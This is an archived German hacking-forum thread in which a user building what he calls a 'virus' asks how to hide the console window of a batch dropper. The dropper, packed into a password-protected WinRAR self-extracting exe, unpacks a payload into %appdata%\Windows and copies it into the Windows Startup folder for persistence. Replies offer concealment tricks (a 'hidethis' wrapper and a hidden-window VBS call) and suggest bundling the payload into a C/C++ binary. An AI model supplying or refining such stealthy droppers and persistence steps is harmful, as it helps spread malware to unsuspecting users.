PDA

Archiv verlassen und diese Seite im Standarddesign anzeigen : Batch Console Verstecken



luder
05.09.2016, 00:17
hi,
ich habe ne batch datei mit einer "dateiname.sfx.exe" datei
mit winrar zur ne .exe datei verschmolzen und möchte wissen:


der batch code sieht bisher wie folgt aus:

Code:

Dateiname.sfx.exe -p4f8e6w3a2s11d9ff6g5h4j4j4th564rth45t6489we894re26 fg3frg45 -d%appdata%\Windows\ ECHO Y | xcopy /s "%appdata%\Windows\Dateiname.exe" "C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Wind ows\Start Menu\Programs\Startup"

Frage:

Wie verstecke ich da das konsolen fenster das kommt,wenn ich auf die fertige .exe datei klicke?

Habe Windows 10 Home Edition.

iTzAk47
05.09.2016, 00:56
Du möchtest ein SFX-Archiv welches deine Batch-Datei im Hintergrund startet, richtig?

luder
05.09.2016, 01:03
ich will ne .exe wenns fertig ist.und ja die batch datei soll sich im hintergrund starten,so das dass konsolen fenster nicht aufgeht.
also habe erst den "virus" mit pw per winrar in .sfx.exe gemacht und encryptet und die batch soll das im hintergrund decrypten und
doppelt verpackt mit .sfx,und es kommt ne .exe datei dabei raus.

Cystasy
05.09.2016, 01:22
Die Antwort darauf ist simpel..

Nutze kein Batch.

Das Schwarze Fenster was kommt ist einfach der Batch Interpreter der dein Batch Code interpretiert..das Fenster kannst du rein mit Batch nicht verstecken.

An deiner Stelle würde ich mir eine beliebige Programmiersprache schnappen, und dann einfach das ganze ohne Batch lösen.. ODERRR das Fenster per WinAPI verstecken (gibt da einige Mittel und Wege..ist aber glaube zu komplex für dich). Ist aber nicht wirklich ne gute / ideale Lösung.. machs doch gleich richtig wenn du schon sowas machen möchtest.
Wirkt sonst total hingefriemelt und buggt vllt sogar auf manchen Betriebsystemen / Computern rum.


grüße

luder
05.09.2016, 02:39
ich habe es hinbekommen es zu verstecken mit dem einfachen code "hidethis" ohne "" vor den code setzen:

Aufruf:
hidethis "Programm" Parameter



Zum versteckten Ausführen eines Batchfiles:
hidethis cmd /c "Batchfile" Parameter

Braz
05.09.2016, 07:14
VBS Call mit:

wshShell.Run "cmd /C abc.bat, 0, True

You're welcome.

Liebe Grüße und noch einen schönen Restsonntag,
Braz

luder
06.09.2016, 13:49
leider funftioniert beides nicht mit batch und vbs richtig wenn ich nochmal packe mit .sfx zu einer .exe datei.
bei batch acktiviert sich nicht die datei mit dem "hidethis" und bei dem vbs code kommen immer verschidene
fehlermeldungen und die datei acktiviert sich ebenfalls nicht.

jemand noch eine lösung?

Cystasy
06.09.2016, 14:51
leider funftioniert beides nicht mit batch und vbs richtig wenn ich nochmal packe mit .sfx zu einer .exe datei.
bei batch acktiviert sich nicht die datei mit dem "hidethis" und bei dem vbs code kommen immer verschidene
fehlermeldungen und die datei acktiviert sich ebenfalls nicht.

jemand noch eine lösung?

1) Nochmals ALLES was du von deinen Versuchen damit hast auf der Festplatte löschen
2) Dich nochmals genaustens Fragen "Was möchte ich im genauen tun?" (Ablauf aufschreiben, Nummeriert)
3) Nachlesen wie das mit diesem Winrar SFX Archiven eigendlich funktioniert & was dabei geschieht
4) Nochmals Nachlesen was das mit dem Batch so auf sich hat.. wie werden Batch files ausgeführt, was für Interpreter werden genutzt usw (dann klärt sich für dich auch auf warum da Konsolenfenster aufgehn)
5) Nun kannst du nochmals alles neu anfangen mit etwas mehr Wissen, und diesmal dann klappts wahrscheinlich auch. Oder halt nicht. Dann springste wieder zu Punkt 1.

Hier siehst du aber sehr schön - ohne Grundwissen kommst du nicht weit. Hacking ist etwas wo man sich mit beschäftigen muss, und auch rumexperimentieren.
Man bekommt nicht zu jeder Frage die man hat ne Antwort in nem Forum wie FH..da muss man auch mal selbst die Lösung finden.. Eigeninitiative zeigen und so..
Hatten wir ja aber schonmal durchgesprochen :)

Kurzfassung: Es geht, man muss es aber richtig machen.. wenn mans natürlich falsch angeht / rumklickt bugts natürlich rum. Grundwissen dazulernen, bisschen mit der Thematik beschäftigen (ohne dabei rumzutryn) dann klappt das auch;) Wobei ichs "sauberer" finde wenn mans gleich mit C/C++ oder so löst.. also ohne Batch.
Dann kann mans nämlich auch mit andern Files zusammenpacken in ne Binary und hat da viel mehr Freiheiten usw..

Braz
11.09.2016, 19:10
@schteal:
If it looks stupid but works:
It's aint stupid!

https://media.giphy.com/media/vk7VesvyZEwuI/giphy.gif